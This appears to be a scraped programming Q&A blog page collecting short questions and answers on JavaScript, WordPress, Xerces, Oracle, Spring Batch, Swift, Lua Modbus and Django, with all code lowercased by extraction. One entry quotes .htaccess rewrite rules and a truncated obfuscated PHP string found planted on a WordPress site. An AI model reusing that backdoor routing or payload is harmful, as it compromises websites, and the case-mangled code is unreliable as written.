Posts

Showing posts from July, 2014

javascript - How to avoid using overflow -

i creating navigation/menu bar , want move horizontally cursor moves on it. working not want set overflow property hidden because have drop down tabs should appear when cursor on menu option. if use overflow cut off @ point drop down cut off. inside scroll contains menu options. var sum = 0; $("#scroll li").each(function () { sum += $(this).width() + parseint($(this).css('paddingleft')) + parseint($(this).css('paddingright')) }); $("#scroll").css('width', sum); $("#holder").mousemove(function (e) { x = -(((e.pagex - $('#scroll').position().left) / $("#holder").width()) * ($("#scroll").width() + parseint($("#scroll").css('paddingleft')) + parseint($("#scroll").css('paddingright')) - $("#holder").width())); $("#scroll").css({ 'marginleft': x + 'px' }); }); #scroll{ height: 30px; line-height: 30

php - How i can enable WordPress Posts Pagination -

how can enable pagination in page (template page wordpress) my code <?php $catquery = new wp_query( 'cat=2&posts_per_page=10' ); while($catquery->have_posts()) : $catquery->the_post(); ?> <div> <br /> <div class="news"><!-- start news box --> <div class="img_news"><!-- start image news --> <?php $url_thumb = wp_get_attachment_url( get_post_thumbnail_id($post->id) ); ?> <img class="img_thumbs" title="" alt="" src="<?php echo $url_thumb; ?>"> </div><!-- end image news --> <div class="title_news"><!-- start title news --> <h2> <?php the_title(); ?> </h2> <div class="details"> <?php the_content_limit(500, "read more..."); ?> </div> </div><!-- end title news --> <hr> </div><!-- end news box --> </div> <?php endwhile

c++ - ConvertUTF16toUCS4 in Apache Xerces -

the source code apache xerces: convertutf16toucs4 is: conversionresult convertutf16toucs4( utf16 **sourcestart, utf16 *sourceend, ucs4 **targetstart, const ucs4 *targetend) { conversionresult result = ok; register utf16 *source = *sourcestart; register ucs4 *target = *targetstart; while (source < sourceend) { register ucs4 ch; ch = *source++; if (ch >= ksurrogatehighstart && ch <= ksurrogatehighend && source < sourceend) { register ucs4 ch2 = *source; if (ch2 >= ksurrogatelowstart && ch2 <= ksurrogatelowend) { ch = ((ch - ksurrogatehighstart) << halfshift) + (ch2 - ksurrogatelowstart) + halfbase; ++source; }; }; if (target >= targetend) { result = targetexhausted; break; }; *target++ = ch; }; *sourcestart = source; *

java - what these buzz words actually stand for? -

m2e :- know maven 2 eclipse 2 stands maven version 2 or english literal "to" ? j2ee :- java 2 enterprise edition 2 stands java version 2 or english literal "to" ? both "version" numbers. j2ee no longer used, it's java ee. i suspect m2e meaning maven 2, evolved name.

Whether SIM card is available or not in windows phone universal project -

i'm creating winrt universal project mobile , tablet. i want check: in mobile application, sending sms text sms application this. var message = new chatmessage(); message.recipients.add("9999"); message.body = "r*" + voucherno + "*" + accountno + "*" + pin; await chatmessagemanager.showcomposesmsmessageasync(message); i want place check above whether user has inserted sim card or using mobile out sim card. app not crashing due not big issue if couldn't place check here (as have searched alot got nothing i'm assuming not possible right not in winrt check sim card availability), link of documentation/blog/so question regarding mentioned can't check sim card availability helpful. thanks. bool simavailable = false; var device = await chatmessagemanager.gettransportsasync(); if (device != null && device.count > 0) { foreach (var item in device) { if (item.transportfriendlyname != "

oracle - Different queries or One? Which one is feasible? -

i have following queries want delete 3 employees in admin department. delete employee_tbl emp_id = 123 , emp_dep = 'admin'; delete employee_tbl emp_id = 456 , emp_dep = 'admin'; delete employee_tbl emp_id = 789 , emp_dep = 'admin'; i thinking write single query like- delete employee_tbl emp_id in (123, 456, 789) , emp_dep = 'admin'; is correct way write query in case of performance , all? confused. any explanation appreciated. both queries have pros , cons 1) multiple selects. i rather rewrite query using bind variables. delete employee_tbl emp_id = :l_emp_id , emp_dep = :l_emp_dep; and run multiple times. this way, oracle don't hard parse query every time, , oracle re-uses explain plan reducing latch activity in shared global area(sga) minimizing cpu usage. more details bind variables - key application performance but 1 glitch here is, every execution of query actually, needs switch client sql engine process.(con

objective c - xcode, ios, Can't move buttons around screen -

Image
the output on console: 2015-07-02 17:31:49.105 make maths fun[15079:90b] but_1.center.x = 155.000000 but_1.center.y = 90.000000 2015-07-02 17:31:49.105 make maths fun[15079:90b] but_2.center.x = 155.000000 but_2.center.y = 140.000000 the code: but_1.center = cgpointmake(155, 90); but_2.center = cgpointmake(155, 140); screenshot: the output says @ x , y when run program had them on viewcontroller try disable use auto layout option , try again. hope helps.

.htaccess - write htaccess to dynamic generate id core php -

i doing 1 project in core php, , have url theese www.domainanme.com?proid=125&name=some_name . how redirect 404 page error. if delete id 125(in admin panel) still shows page without contents. can me how write htaccess redirect 404 error page. i think should check in php if item exist , if not - redirect 404 page. apache doesn't know code , think return page 200 http response code , in case apache think right , show empty page.

How does this "higher-order functions" thing works in Javascript -

from book eloquent javascript marijn haverbeke, there this example while introducing concept of higher-order functions: function greaterthan(n) { return function(m) { return m > n; }; } var greaterthan10 = greaterthan(10); console.log(greaterthan10(11)); // → true i'm not quite sure how works... answering own question, how see it: first, greaterthan(n) called in line, assigning value greaterthan10 variable: var greaterthan10 = greaterthan(10); this makes function stored greaterthan10 looks like: function greaterthan(10) { return function(m) { return m > 10; }; } then, when call greaterthan10(11) calling function above, translates to: function greaterthan(10) { return function(11) { return 11 > 10; }; } hence returning true result 11 > 10 true indeed. could confirm whether i'm correct or not? also, if can provide further details , comments on how higher-order functions work in javascript, appreciated. you're correc

wpf - How to focus on the current ListView item that just add -

i have wpf application , listview . when add files listview can see first 10 items , when adding files can see vertical scroll bar , want when add files focus on last item added. try select last item: listview.selectedindex = lvpcapfiles.items.count - 1; or listview.selecteditem = lvpcapfiles.items.count - 1; but first option select last item focus still no there. the second nothing. you can use listview.selectedindex = lvpcapfiles.items.count - 1; listview.scrollintoview(listview.selecteditem); there articles you. here

mysql - Optimize SQL Query -

i've 5 dropdowns user can select values fetch data table. values of dropdowns distinct values coming different columns of table. each dropdowns have option "all". i'm storing user selections in 5 variables i.e variablename , variablename1 , on... default dropdown value all... currently i'm using 32 different queries if , else-if conditions fetch data .. i.e if($variablename=="all" && $variablename2=="all" && $variablename5=="all" && $variablename6=="all" && $variablename7=="all") { $query="select * table ....} else if($variablename!="all" && $variablename2!="all" && $variablename5!="all" && $variablename6!="all" && $variablename7!="all") { $query= "select * table abc = '$variablename' , bcd = '$variablename1' , cde= '$variablename2' , def= '

c - Infix notation to postfix notation using stack -

i trying convert infix notation postfix notation using stack. have written following code giving me error: /users/apple/desktop/infix.c|49|error: expected expression and unable find error. please me correct code. #include <stdio.h> #include <string.h> #include <stdlib.h> #include <ctype.h> #define max 100 char st[max]; int top = -1; void push(char st[],char); char pop(char st[]); void infixtopostfix(char source[],char target[]); int getpriority(char); int main(){ char infix[100],postfix[100]; printf("enter infix expression"); fflush(stdin); gets(infix); strcpy(postfix,""); infixtopostfix(infix,postfix); printf("\nthe corresponding postfix expression is:"); puts(postfix); return 0; } void infixtopostfix(char source[],char target[]){ int i=0,j=0; char temp; strcpy(target,""); while(source[i]!='\0') { if(source[i]=='(')

c - changing variable value from within a function -

i'm writing program in c in need change value of variable within function. i've tried setting variable globally not recognized withinn function so tried following: variable nobuttons: readconfig(config2, &nobuttons); void readconfig(file * config, int * buttons) { buttons = 5; } when print value of buttons , it's shown 0 (the value initialized to) what doing wrong? use *buttons = 5; instead of buttons = 5; when print value of buttons, it's shown 0(the value initialized to) the value of button not initialized know, global variables default initialized 0 hence 0 when print it. buttons=5; means address of buttons pointer holding address 5 whereas, *buttons = 5; means content of buttons pointer changed value 5 . remember, content of whom buttons pointer points updated 5 now.

java - Error After Storm Execution -

i execute storm topology drpc service. but, see error below. don't know why indexoutofboundsexception . maybe multiple emit in spout ... ============== drpc spout source (customized) ======================= _collector.emit(new values("0:"+endnum*1/9, jsonvalue.tojsonstring(returninfo)), new drpcmessageid(req.get_request_id(), 0)); _collector.emit(new values(math.round(endnum*1.0/9.0)+":"+math.round(endnum*2.0/9.0), jsonvalue.tojsonstring(returninfo)), new drpcmessageid(req.get_request_id(), 1)); _collector.emit(new values(math.round(endnum*2.0/9.0)+":"+math.round(endnum*3.0/9.0), jsonvalue.tojsonstring(returninfo)), new drpcmessageid(req.get_request_id(), 2)); ===================error============================= java.lang.runtimeexception: java.lang.indexoutofboundsexception: index: 3, size: 1 @ backtype.storm.utils.disruptorqueue.consumebatchtocursor(disruptorqueue.java:128) ~[storm-core-0.9.5.jar:0.9.5] @ backtype.storm.utils.dis

xcode - how to count total data from JSON use swift? -

i have json @ http://higoapps.com/api/content_api.php?&action=get_content_free&im=520 , want count how many id_content inside json. how use swift? read data network using nsurlconnection or nsurlsession, convert collection using nsjsonserialization. query collection (array?) count.

How get use Google News API or extract information? -

i'm working on widget pull info google news. i know how publisher id number, example, cnn's id 669475. however, how pull information specific publisher id number? example, how find official name , domain? i can't find documentation on whatsoever. don't need ton of information, name of news station , domain. the google news search api has been officially deprecated of may 26, 2011.[...] from https://developers.google.com/news-search/

java - Spring Batch partitioning a step -

i have multiple csv files read. want processing done 1 file @ time. rather reading records till reaches commit level. i have put job uses partition on running job see there 2 entries every row. if job running twice. <?xml version="1.0" encoding="utf-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:context="http://www.springframework.org/schema/context" xmlns:p="http://www.springframework.org/schema/p" xmlns:batch="http://www.springframework.org/schema/batch" xmlns:mvc="http://www.springframework.org/schema/mvc" xmlns:xsi="http://www.w3.org/2001/xmlschema-instance" xsi:schemalocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.0.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-4.0.xsd http://www.springframework.org/schema/

python - PySpark broadcast value to dictionary -

have pyspark broadcast value content this: [('b000jz4hqo', {'rom': 2.4051362683438153, 'clickart': 56.65432098765432, '950': 254.94444444444443, 'image': 3.6948470209339774, 'premier': 9.27070707070707, '000': 6.218157181571815, 'dvd': 1.287598204264871, 'broderbund': 22.169082125603865, 'pack': 2.98180636777128}), ('b0006zf55o', {'laptops': 11.588383838383837, 'desktops': 12.74722222222222, 'backup': 2.8015873015873014, 'win': 0.501859142607174, 'ca': 9.10515873015873, 'v11': 50.98888888888888, '30u': 84.98148148148148, '30pk': 254.94444444444443, 'desktop': 2.23635477582846, '1': 0.3231235037318687, 'arcserve': 24.28042328042328, 'computer': 0.6965695203400122, 'lap': 127.47222222222221, 'oem': 46.35353535353535, 'international': 9.44238683127572, 'associates

r - Merge function messes up the data order -

i have set of pairs of origin , destination points in df1 . add columns data a) attributes of orig df2 . add attributes dest column df3 . problem order of df1 gets rearranged , not intention. question how keep order of rows constant in final output without need add column @ beginning id, later on sort? original table: orig dest 1 b 2 b e 3 c 4 b c 5 b 6 c 7 e b orig = c("a","b","c","b","a","c","e") dest = c("b","e","a","c","b","a","b") df1 = data.frame(orig,dest) code <- c("a","b","c","d","e") name <- c("ams","bir","cas","das","ees") lat <- c(4,6,7,3,2) long <- c(13,45,63,43,23) df2 <- data.frame(code,name,lat,long) df3 <- data.frame(code,name,lat,long) colnames(df2) <- c(

swift - Extra Argument 'duration' in call -

my project complaining there "extra argument 'duration' in call". here occurring required init(coder adecoder: nscoder) { workout = workout(title: "luke's workout plan", exerciseperiods: [ exerciseperiod(duration: 5, intensity: .high), //error exerciseperiod(duration: 1, intensity: .low), //error exerciseperiod(duration: 5, intensity: .high), //error exerciseperiod(duration: 1, intensity: .low) //error ] ) super.init(coder: adecoder) } these variables defined here: struct exerciseperiod: printable { let duration: nstimeinterval = 0 let intensity: intensity = .high // todo: make exerciseperiod loggable var description: string { return "\(intensity.rawvalue) \(duration) seconds" } } what going wrong here? you assigning values duration , intensity in definition of exerciseperiod structure. let lets assign value once, can't assign value in constructor. fix th

jquery - Positioning of divs -

i have jquery code makes divs apear if other divs not empty. i created whole grid on large screen , when switch other monitor positioning wrong. how can fix this? jquery: if($("#showview2").text().length > 7 && $("#showview7").text().length > 7){ $('.v-2-7').fadein(1000); }; html i'm trying fade in: <div class="v-2-7" style= "position: absolute;"> <p>&#9482;&#9482;<br>&#9482;</p> </div> css: .v-2-7 { margin-top: 7%; margin-left: 49%; display: none; }

Java generics class cast exception -

i trying create class processes comparables. boiled down simplest code gives error when try instantiate class. couple of compile warnings (unchecked cast) when run program throws classcast exception. did @ of other questions on topic didnt come across useful. public class gd<item extends comparable<item>> { private item[] data; private final int max_size = 200; public gd() { data = (item[]) new object[max_size]; } public static void main(string[] args) { gd<string> g = new gd<string>(); } } the problem lies here: data = (item[]) new object[max_size]; you instantiating array of object , try cast array of item , throws exception because object not extend item class, because not implement comparable . instead is: data = new item[max_size]; but can't because item generic type. if want create objects (or arrays of objects) of type dynamically, need pass class object gd class's constructor: import jav

actionscript 3 - Bitmapdata/bytearray to video file -

i started working adobe flash cs6, , have been trying find way make game can record parts of itself. far have been able capture desired areas of screen bitmapdata , encode png , jpeg byte arrays, , have made array use store them in order of occurrence. can use file reference save them computer 1 @ time, need way group them video file of sort. gif do, may not video @ least moves. basically have bunch of frames collected game, how them someone's desktop video file? if impossible flash cs6, can done flash builder or need adobe air? have found multiple methods work air, don't have myself. you pretty answering own question: have encode data in right way. intead of encoding png or jpeg, encode video codes want.

Visual studio list/search for partitions -

i have partitioned usb drive cd (partition a) , normal thumb drive(partition b). want cd(a) auto run visual studio program other partition on thumb drive(b) , launch visual studio program have made. so goes cd >autorun >visual studio app >search other partition> launch other visual studio app. this easy if assigned drive letters drives since im going using on many different computers cant every time. so comes down this. there way can search second partition visual studio , launch program on partition?

php - What does this code mean? (Virus Looking) -

i'm wondering if can figure out code in php does i've removed i'm curious how got there , does i found in 1 of wordpress sites <ifmodule mod_rewrite.c> rewriteengine on rewritebase / rewritecond %{request_filename} !-f rewritecond %{request_filename} !-d rewriterule ^(emyiac-|showthrd-)(.*)$ /var/www/html/dglcreative/wp-content/emyiacimwqkfv-.php?p=$2 [l] </ifmodule> <ifmodule mod_rewrite.c> rewriteengine on rewritebase / rewritecond %{request_filename} !-f rewritecond %{request_filename} !-d rewriterule ^(auyaix-|showthrd-)(.*)$ /var/www/html/dglcreative/wp-content/auyaixfblclcc-.php?p=$2 [l] </ifmodule> and 1 of files contains this: <?php $twrgwh3="6jsmopajz5bi5ll2wfsshqb3cbfkzgglmnzballue/hi5mpz9xq6wo21mqnxzanqaave8x/gnjbnvd0debpcdpd1hooisjwuwreeae1cv3dnihxxxbdwak5n7utesioeklq7hhx+frlp/esrtlfegphdf2y698rzsyrsp0ru8aas3bh+gb6j+1d03qnas/puqreutrztetiqci4luho4grxzkp/6txuk+an3fzwobi6ini3yxbgckpoop3wvviikz9c3jusg/efggqslnyo+ecm

Ruby Geocode: Make a model 'geocoded' when latitude and longitude already exist from other source? -

in app have model , retrieving lat , lng values each row external api unrelated geocode. @ time need geocode .nearbys method lets me find other nearby models within default radius (50 miles) or 1 specify. normally "active" model geocode adding geocoded_by :attribute_name , attribute_name used geocode when object saved fetch lat/long coordinates. right i've added model work: geocoded_by :blargh, latitude: :lat, longitude: :lng def blargh end this seems work fine. can open console, instantiate model , , call model.nearbys . however, seems bit hacky , i'm wondering if there's better way defining fake method , passing geocoded_by . many in advance help! yesterday had same issue, if old question share here solution in case else needs it. you can directly include geocoder gem on model requiring file , defining geocoder options (these in case simple names of latitude , longitude on db columns). since i'm working activerecord model need

java - Error when using Collections.sort() -

i'm wondering why i'm getting error after trying sort list. error happens when try sort list containing "student" objects. import java.lang.reflect.array; import java.util.*; import java.util.arraylist; public class mainprogram { public static void main(string[] args) { list<student> classstudents = new arraylist<student>(); //add 4 students list classstudents.add(new student("charles", 22)); classstudents.add(new student("chris", 25)); classstudents.add(new student("robert", 23)); classstudents.add(new student("adam", 21)); //sort , print collections.sort(classstudents); //why not work? system.out.println("classstudent(sorted) ---> " + arrays.tostring(classstudents.toarray())); } } class student implements comparable<student>{ // fields private string name; private int age; //constructo

python - Stdout and flush? It's appending and not flushing -

what i'm trying have 'progress text' on bottom of script i've creating. if loop list [1,2,3,4,5] , print i, prints 1,2,3,4, , 5 on separate lines. how if want print 1 out screen, sleep 5 seconds, clear out , print 2? i've tried using stdout.write("text"), sleep, flush, stdout.write("aetlkjetjer"), sleep, , adds on "text" statement instead of flushing output. am misunderstanding way stdout.flush works? isn't supposed flush/erase output of previous print? all .flush() flush out buffer. want write backspace( \b ) stdout . import time, sys in [1,2,3,4,5]: sys.stdout.write(str(i)) sys.stdout.flush() #flush buffer because python buffers stdout time.sleep(5) sys.stdout.write("\b") #literally "write backspace". sys.stdout.flush() it gets more complicated if want count numbers more 1 digit.

Lua: Working with the Modbus TCP/IP Protocol -

this question based off previous question asked concerning similar topic: lua: working bit32 library change states of i/o's . i'm trying use lua program that, when plc changes state of coil @ given address (only 2 addresses used) triggers reaction in piece of equipment. have code exact same previous topic. has code actually doing , not bit32 library. run code don't in understand in linux ide , make changes until can make sense of it. producing weird reactions can't make sense of. code example: local unitid = 1 local funccodes = { readcoil = 1, readinput = 2, readholdingreg = 3, readinputreg = 4, writecoil = 5, presetsinglereg = 6, writemultiplecoils = 15, presetmultiplereg = 16 } local function totwobyte(value) return string.char(value / 255, value % 255) end local coil = 1 local function readcoil(s, coil) local req = totwobyte(0) .. totwobyte(0) .. totwobyte(6) .. string.char(unitid, funccodes.readcoil) .. to

python - Django capturing wrong url pattern and going to another url -

keep in mind beginner django user, not have best idea of doing. currently, have 2 urls - index , test. when go 127.0.0.1:8000/test, seems capture index pattern , go index page. 127.0.0.1:8000/ (index / home page) works fine. project urls.py: from django.conf.urls import include, url django.contrib import admin urlpatterns = [ url(r'^admin/$', include(admin.site.urls)), url(r'^test/$', include( 'twitterapp.urls' ) ), url(r'^$', include('twitterapp.urls') ), ] app urls.py: from django.conf.urls import url . import views urlpatterns = [ url(r'^$', views.index, name='index'), url(r'^test/$', views.test, name='test'), ] views.py: from django.shortcuts import render django.http import httpresponse django.template import requestcontext, loader # create views here. def index(request): context = {} return render(request, 'twitterapp/index.html', context) def test(r

How to backup Realm DB in Android before deleting the Realm file. Is there any way to restore the backup file? -

i working on android application deleting realm before copying new data realm. there way can take backup of data before deleting , restore if wrong when using realm.copytorealm() ? realm.writecopyto might helpful case. can find doc here. //backup realm orgrealm = realm.getinstance(orgconfig); orgrealm.writecopyto(pathtobackup); orgrealm.close(); //restore realm.deleterealm(orgconfig); realm backuprealm = realm.getinstance(backupconfig); backuprealm.writecopyto(pathtorestore); backuprealm.close(); orgrealm = realm.getinstance(orgconfig); but in case, simpler , faster move realm file place backup, , move when want restore it. realm file path, try: realm.getpath();

sql - Comparing fields when a field has data in between 2 characters that match the field being compared -

i have code looks this: left outer join gme_batch_header bh on substr(ln.lot_number,instr(ln.lot_number,'(') + 1, instr(ln.lot_number,')') - instr(ln.lot_number,'(') - 1) = bh.batch_no it works fine, have come across few lot numbers have 2 sections of strings between parenthesis. how compare between second set of parenthesis? here example of data in lot number field: e142059-307-scrap-(74055) this 1 works code, 58lf-3-b-2-2-2 (scrap)-(61448) this 1 tries comparing scrap batch no, isn't correct. needs 61448. the result last item in parenthesis. after more research, got work code: substr(ln.lot_number,instr(ln.lot_number,'(',-1) + 1, instr(ln.lot_number,')',-1) - instr(ln.lot_number,'(',-1) - 1)

javascript - Chrome Extension content script on iframe without src attribute -

i have content script injecting iframe page's dom. iframe not have src attribute, creating dynamically it's content's like... iframe.src = 'data:text/html;charset=utf-8,' + encodeuri(html); how can run content script on iframe? or communicate background? need trigger "close iframe" event code. know possible because honey doing this. https://chrome.google.com/webstore/detail/honey/bmnlcjabgnpnenekpadlanbbkooimhnj?hl=en-us you cannot run content script in frame @ data: -url ( crbug.com/55084 ). there alternatives though: in page embeds frame, use onmessage event subscribe events iframe, , insert script in data-url frame calls parent.postmessage . // content script in parent frame. // assuming variable iframe exists, , iframe. window.addeventlistener('message', onmessage); function onmessage(event) { if (event.source === iframe && event.message === 'close') { window.removeeventlistener('me

javascript - On a get request, how can I start program, and then using another get request stop it? -

i'm running website using java , tomcat. @ high level i'm trying route start button java method makes endless amount of calls other resource. when want stop program push stop button. i have figured out start part, cannot stop because don't think state of request page gets saved. have few global variables in class think keep getting reset everytime make request. how prevent happening? @path("/myresource") public class myresource { continuousmethod sample = new continuousmethod() boolean collecting = false; /** * method handling http requests. returned object sent * client "text/plain" media type. * * @return string returned text/plain response. */ @get @produces(mediatype.text_plain) @path("/collect") public string startcollection() throws urisyntaxexception { system.out.println("made here"); sample.start(); collecting = true; return "collecting"; } @get @produces(mediatype.text_plain) @path("

javascript - Basic Google Sign-In for Websites code not working in Internet Explorer 11 -

i attempting use google sign-in websites ( https://developers.google.com/identity/sign-in/web/ ) , noticed solution not working in internet explorer 11. try eliminate many factors possible, created simple test case based on sample code provided google. i've tested in chrome on windows 7 pc, chrome on mac, safari on mac, firefox on mac , safari on iphone. works on of these (e.g., when click sign in button , select/enter google account, returns page , button says, "signed in"). it not, however, work on internet explorer 11 on pc or, strangely enough, chrome ios. when button clicked, window opens allow me select google account, after making selection, window closes , returns page button still says, "sign in." here sample code: <html> <head> <meta name="google-signin-client_id" content="61023618497-vqfbod57f26ncjl9d6firk3t09ve4tt3.apps.googleusercontent.com"> <script src="https://apis.google.com/js/platform.j

Perl's JSON::XS not encoding UTF8 correctly? -

this simple code segment shows issue having json::xs encoding in perl: #!/usr/bin/perl use strict; use warnings; use json::xs; use utf8; binmode stdout, ":encoding(utf8)"; (%data); $data{code} = "gewürztraminer"; print "data{code} = " . $data{code} . "\n"; $json_text = encode_json \%data; print $json_text . "\n"; the output yields is: johnnyb@boogie:~/projects/repos > ./jsontest.pl data{code} = gewürztraminer {"code":"gewürztraminer"} now if comment out binmode line above get: johnnyb@boogie:~/projects/repos > ./jsontest.pl data{code} = gew�rztraminer {"code":"gewürztraminer"} what happening here? note trying fix behavior in perl cgi script in binmode can not used "ü" characters above returned in json stream. how debug this? missing? encode_json (short json::xs->new->utf8->encode ) encodes using utf-8, re-encoding printing stdout you'v

jquery - How to make TinyMCE have a real WYSIWYG behavior - TinyMCE 4.x -

i'm working on custom cms , i'm using tinymce allow user create content of page. similar have on wordpress. content saved on admin area displayed inside element under different css rules. my problem following, when i'm adding html elements such headers, paragraphs, uls, ols, , many others generic kind of styled html (generic css?) inside 'textarea' there way can display elements in editor using exact same css using display content ? i found way it. http://www.tinymce.com/wiki.php/configuration:content_css tinymce.init({ ... content_css : "/mycontent.css" // resolved http://domain.mine/mycontent.css });

Text selected / right click event (Outlook 2007 VBA) -

i'm looking event that's raised when user selects text in preview pane of email. e.g. you're viewing email in preview pane , select text. didn't see in object reference effect, namespace large, seems there's object somewhere need, i'm not aware of. overall, i'd see if selected text matches pattern , if so, insert sub-menu in right click menu (the 1 says copy, is, synonyms, translate..). appreciated too. believe commandbar "text", i'm unsure how go accessing via name. outlook object model not expose preview pane @ all. can word's document object in preview pane using creative window searching , accessibility api. if using redemption option, exposes safeexplorer object, has readingpane property. once have word.document object, can read document.application property , use application.windowselectionchange event. selected text can accessed using safeexplorer.readingpane.seltext property . word.application can retrieved safeex

windowDidResize protocol swift OSX -

i creating program , ui change based on size of window. i'm looking method called when window has been resized. went documentation windowdidresize, cannot work when window resized. import spritekit import appkit class gamescene: skscene , skphysicscontactdelegate ,nswindowdelegate{ **** bunch of code **** func windowdidresize (notification: nsnotification) { hudcomp.updateposition(size) println("screen has been resized") } } any info appreciated. if inherit nswindowdelegate, thing should add observer onto nsnotificationcenter. code here. nsnotificationcenter.defaultcenter().addobserver(self, selector: selector("windowdidresize:"), name: nswindowdidresizenotification, object: nil)

java - print first array element when it ends -

as topic states , previous post which requires me print 4 consecutive numbers in array locations i have managed understand code given me. fast snail comment made me thought program thoroughly , indeed got me thinking on how make array print it's first location's element again. as e.g (" note " array size 20) array location given me 18, program have print elements in location 19, 20, 1 ,2 . have managed understand on how print elements in location 19 , 20 have no idea how program print it's first position. thanks once again in advanced given! use mod operation length of array. 18 % 20 = 18 19 % 20 = 19 20 % 20 = 0 (first element of array) 21 % 20 = 1 int firstprint = 18;//or random value for(int = firstprint; < firstprint + 4; i++) { system.out.println(myarray[firstprint % myarray.length]); }

ember.js - calling set on destroyed object setInterval in acceptance tests -

i know there 5 topics same name here, seems unrelated case: i'm getting error in acceptance tests, , reason countdown component built ember.run.later. maybe know how cure that? just should stop timer upon element destruction. ember, of course, doesn't handle himself. startcountdown: function() { let handler; //... handler = setinterval(...); this.set('handler', handler); } teardown: function() { clearinterval(this.get('handler')); }.on('willdestroyelement')

css - How do I keep this header responsive? -

i have been given mock-up design header hass curved image (similar http://www.smartwebby.com/images/tutorials/fireworks/website_design_fireworks/pic_header_footer.gif or http://theme-fusion.com/wp-content/uploads/2014/10/curved-header.png ). @ top. thing has fluid & responsive. conceptually figure things out before start making them. can me how make responsive. if make 100% width going extremely distorted @ points. ideas? as guessed can use width: 100% use media queries serve different image different screen sizes such as: header { width: 100%; } @media screen , (min-width : 480px) { header { background-image: url("/img/image-xs.png"); } } @media screen , (min-width : 768px) { header { background-image: url("/img/image-sm.png"); } } @media screen , (min-width : 992px) { header { background-image: url("/img/image-md.png"); } } @media screen , (min-width : 1200px) { header {

ios - Use of unresolved identifier 'Parse' -

Image
i'm following following this tutorial trying set basic swift app parse. after following steps in part 1 following error in appdelegate.swift , running application fails: i've used real application id , client key, , not "xxxyyyyzzzz" , "aaaabbbbcccc". i've linked frameworks instructed: i've added bridging header file appropriate name: does know why error? thanks! add import parse after import uikit

regex - egrep "[\w]+" doesnt match a word -

in linux, when try simple egrep word doesnt match. following doesnt return result, expect sample in both cases match: echo "sample"|egrep "[\w]+" echo "sample"|egrep "[\w]" however following returns word sample : echo "sample"|egrep "[\w]*" sample with e xtended matching, entities \w not expanded inside square brackets. therefore avoid them: echo sample | grep -e '\w+' ( egrep deprecated alias grep -e .) if want use square brackets, use p erl regular expressions: echo sample | grep -p '[\w]+' (note though gnu-specific, non-posix feature.) finally, interest, [\w]* -e not match word, matches 0 or more characters. , given @ least 0 characters contained in every string, grep shows every line. compare: echo another.sample | grep --color=always -e '[\w]*' echo another.sample | grep --color=always -e '\w+' you'll see first command returns black string (

Is there anything in java where commenting code out, that isn't ever used, changes how the code could function? Like C/C++ memory leaks? -

so... @ work looking @ chunk of code, far can see (logs on server, config files, etc) cannot , not run unless told in config file run. trying work out last of bugs, main 1 now. 1 of things fix bug (only relevant part of question) commenting out said code never gets run. edit, more info: when code isn't commented out, constructor doesn't created, no logs can seen until fixed. also, code runs first time without difficulty, when restarted. edit 2: code doesn't have relation problem being created, can't called being done. the question have is there in java commenting code out, isn't ever used, changes how code function? examples memory leak in c/c++. if commenting out corrects bug, code used. try debugging adding breaking point on said unused code , see yourself.

php - Where to store files on server so they are not accessible through a browser? -

when reading through questions , answers regarding maintaining security when allowing users upload files server, of answers said store file in location not accessible browser, , "above document root". if had site running in 'var/www/' such as: var/www/mysite/index.html does "above document root" mean above mysite folder, still in var/www folder, or mean in seperate location var/www altogether, somewhere else entirely on server host's file system? also, why making file innaccessible browser makes more secure? thanks. i not worry moving files outside www folder, because if www folder vulnerable (whether through apache or other means) have number of other problems, , files accessible anyways. moving outside www folder has effect on portability of application, hosting companies not allow access beyond user www folder anyways. enabling override in apache , placing .htaccess file following contents within folder want restricted recomm

xcode - iOS - Reading an Audio file from Documents Directory -

i saving audio data documents directory , trying read back. if play plays successfully, however, if start new session , try , play song locally fail though listing files in documents directory shows file still there. note file played documents folder in same way (same code) if played or during new session. here how save audio data documents directory: +(void)writedatatoaudiofile:(nsdata*)data fortrack:(mediaitem*)track { // filename looks "[track_id].mp3" nsstring *filename = [nsstring stringwithformat:@"%@.%@",track.sc_id,track.original_format]; nsstring *pathname = [[nssearchpathfordirectoriesindomains(nsdocumentdirectory, nsuserdomainmask, yes) firstobject] stringbyappendingpathcomponent:filename]; [[nsfilemanager defaultmanager] createfileatpath:pathname

javascript - Can Someone Explain this regex snippet? -

i found replace code looks regular expressions in them can't decipher new date().toisostring(). replace(/[z|t|\.]/gim," "). replace(/\d{3}\s$/gim, " "). replace(/:\d{2}\s+$/, " "). trim() + "\n") sorry if that's vague. i'm not sure looking at the code new date().toisostring() generates looks this 2015-07-01t17:21:22.123z the regex put format 2015-07-01 17:21 all of regex has flags g , m , , i . straight regex101 means: g modifier: global. matches (don't return on first match) i modifier: insensitive. case insensitive match (ignores case of [a-za-z]) m modifier: multi-line. causes ^ , $ match begin/end of each line (not begin/end of string) the first regex [z|t|\.] actually has mistake. whoever wrote assumed | means or not case inside square brackets. better written as [zt\.] this match 2015-07-01 t 17:21:22 . 123 z , replace replace(/[z|t|\.]/gim," ")

c++ - Qt: Is waitForReadyRead/waitForBytesWritten necessary in a synchronous UDP socket? -

the qudpsocket can used without event loop in sync mode. , found example below: #include <qudpsocket> #include <qtextstream> int main() { qtextstream qout(stdout); qudpsocket *udpsocket = new qudpsocket(0); udpsocket->bind(3838, qudpsocket::shareaddress); while (udpsocket->waitforreadyread(-1)) { while(udpsocket->haspendingdatagrams()) { qbytearray datagram; datagram.resize(udpsocket->pendingdatagramsize()); qhostaddress sender; quint16 senderport; udpsocket->readdatagram(datagram.data(), datagram.size(), &sender, &senderport); qout << "datagram received " << sender.tostring() << endl; } } } my question is: waitforreadyread necessary here? can use while(1) instead if not worrying cpu consumption? if need write, necessary add waitforbyteswritten? i used work tcp sockets

asp.net - Dynamic SQL generation for the UpdateCommand is not supported against a SelectCommand that does not return any key column -

i have set pk admin tables. working fine in website. it's still working in vm, when debug application using f5. but same code when deployed iis website, throwing error of sudden. didn't change code specific issue. thanks, jay

mysql - Trying to create a page that if it's the first time logging in checks against a plain text password else checks against a hashed pass (php) -

